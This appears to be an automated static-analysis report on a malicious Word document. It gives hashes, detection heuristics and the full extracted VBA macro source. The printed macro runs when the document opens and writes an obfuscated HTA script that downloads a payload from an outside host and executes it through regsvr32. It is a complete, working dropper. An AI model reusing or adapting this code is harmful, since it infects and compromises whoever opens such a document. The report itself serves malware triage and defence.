Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 be974db06cdaa51c…

MALICIOUS

Office (OOXML)

75.9 KB Created: 2021-03-24 06:01:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: a342bfe15f1f22687d188a6c9faeeb2c SHA-1: f6042b2d526c3a65e589c10e790cb430a8d85cd2 SHA-256: be974db06cdaa51c6626cdb53038f30d2d6fa68768752cce12c94f3267e592de
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set repoTitle = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set repoTitle = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4952 bytes
SHA-256: 206d0412774e4510bdc02ecc29bae1827ac5e8189a07285ada1f2a214dfc5da0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{1CE95FF8-119A-4894-8EB7-C5D9F92463E8}{BFFDDB50-B28B-4598-87D3-3F24214F554D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set repoTitle = CreateObject("wscript.shell")
repoTitle.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "leftCaptionMemory"
Sub autoopen()
databaseBufGeneric
End Sub
Sub databaseBufGeneric()
Dim funcNamespaceList As String
funcNamespaceList = frm.cmdButton1.caption
mainArrayArgument funcNamespaceList
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "nextSwap"
Function loadRequest()
loadRequest = "<div id='content'>dmFyIHBvaW50ZXJOZXh0ID0gbmV3IEFjdGl2ZVhPYmplY3QoIm1zeG1sMi54bWxodHRwIik7cG9pbnRlck5leHQub3BlbigiR0VUIiwgImh0dHA6Ly90YXRlY3JhZGxlLmNvbS9mZHZkZC9zNjdhVEk3bGJWa2lwWUFaL2ZVelY5MGJMREw3ank5WWdlQ1BSeDloUE5kcW0vUmI0aUd3Z0t0NU5Dazd2UlJqS1c4VGxQTE"
End Function
Function titleProcedureDelete()
titleProcedureDelete = "FFWlBCdnBXRmd5Yi9uOGlrbFZPUXI3ZUM4T052bkNlUkZCSndXbzFQRzNrQ1JibmZXL3lVSzFTY1NBNE9RS3NjTEpVay94YXIxND91c2VyPWl5UmVCa3dxZU5EZUxIdjlqZVo3cjgmaEJHQnBtNT1VRHR0bzliTFc3NXImc2lkPVg3TGlpcW9NVGJsUEtabEwiLCBmYWxzZSk7cG9pbnRlck5leHQuc2VuZCgpO2lmKHBvaW50ZXJOZXh0LnN0YX"
End Function
Function borderSelect()
borderSelect = "R1cyA9PSAyMDApe3ZhciBwcm9jZWR1cmVTY3JlZW5MZW4gPSBuZXcgQWN0aXZlWE9iamVjdCgiYWRvZGIuc3RyZWFtIik7cHJvY2VkdXJlU2NyZWVuTGVuLm9wZW47cHJvY2VkdXJlU2NyZWVuTGVuLnR5cGUgPSAxO3Byb2NlZHVyZVNjcmVlbkxlbi53cml0ZShwb2ludGVyTmV4dC5yZXNwb25zZWJvZHkpO3Byb2NlZHVyZVNjcmVlbkxlbi"
End Function
Function ExReferenceRemove()
ExReferenceRemove = "5zYXZldG9maWxlKCJjOlxcdXNlcnNcXHB1YmxpY1xcY2xlYXJMb2FkUGFzdGUuanBnIiwgMik7cHJvY2VkdXJlU2NyZWVuTGVuLmNsb3NlO30=|fXspdGNlbGVTZXppU3RjdXJ0cyhoY3RhY307KSJhdGgubmlhbVxcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZldGVsZWQudHhlTnJlZmZ1Ynt5cnQ7KSJ0Y2VqYm9tZXRzeXNlbGlmLmduaXRwa"
End Function
Function tmpCopy()
tmpCopy = "XJjcyIodGNlamJPWGV2aXRjQSB3ZW4gPSB0eGVOcmVmZnViIHJhdjspImdwai5ldHNhUGRhb0xyYWVsY1xcY2lsYnVwXFxzcmVzdVxcOmMgMjNydnNnZXIiKG51ci4pImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldml0Y0Egd2Vu</div><div id='table'>0123456789+/</div><script language='javascript'>iteratorSwapRef"
End Function
Function viewArrayPtr()
viewArrayPtr = " = window;mainSelect = document;function procTemp(WIndexLib){return(new ActiveXObject(WIndexLib));}function table(){var clearTextboxBuf = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var genericSize = clearTextboxBuf + clearTextboxBuf.toLowerCase() + mainSelect.getElement"
End Function
Function listGenericPointer()
listGenericPointer = "ById('table').innerHTML;return(genericSize);}function globalListbox(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var listClassClass=''; var w=String.fromCharCode; var L=s.length;var tmpQuery = 'charAt';for(i=0;i<64;i++){e[table()[tmpQuery](i)"
End Function
Function buttonListRef()
buttonListRef = "]=i;}for(x=0;x<L;x++){c=e[s[tmpQuery](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(listClassClass+=w(a));}}return(listClassClass);};function nextRepo(sizeMemSwap){return sizeMemSwap.split('').reverse().join('');}iteratorSwapRef.resi"
End Function
Function lenStruct()
lenStruct = "zeTo(1, 1);iteratorSwapRef.moveTo(-100, -100);var ptrBorderW = mainSelect.getElementById('content').innerHTML;var ptrBorderW = ptrBorderW.split('|');var bufferLeftDelete = nextRepo(globalListbox(ptrBorderW[0]));var bufferLeftDelete = nextRepo(bufferLeftDel"
End Function
Function genericDeleteRight()
genericDeleteRight = "ete);var collectionScreenTrust = nextRepo(globalListbox(ptrBorderW[1]));</script><script language='javascript'>function listboxNextLib(listboxStruct){var titleGlobalLink = procTemp('msscriptcontrol.scriptcontrol');titleGlobalLink.Language = 'jscript';title"
End Function
Function structStruct()
structStruct = "GlobalLink.Timeout = 60000;titleGlobalLink.AddCode(listboxStruct);return(null);}</script><script language='vbscript'>listboxNextLib bufferLeftDelete : listboxNextLib collectionScreenTrust : iteratorSwapRef.close</script>"
End Function
Function viewDeleteNamespace()
viewDeleteNamespace = loadRequest + titleProcedureDelete + borderSelect + ExReferenceRemove + tmpCopy + viewArrayPtr + listGenericPointer + buttonListRef + lenStruct + genericDeleteRight + structStruct
End Function

Attribute VB_Name = "swapLoadArray"
Sub mainArrayArgument(pasteListTmp As String)
Open pasteListTmp For Output As #1
Print #1, viewDeleteNamespace
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: 4207a2626aeecc08b8f2460921a1bf1eb17a443238a5eab14235bffb8edeb5fa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).

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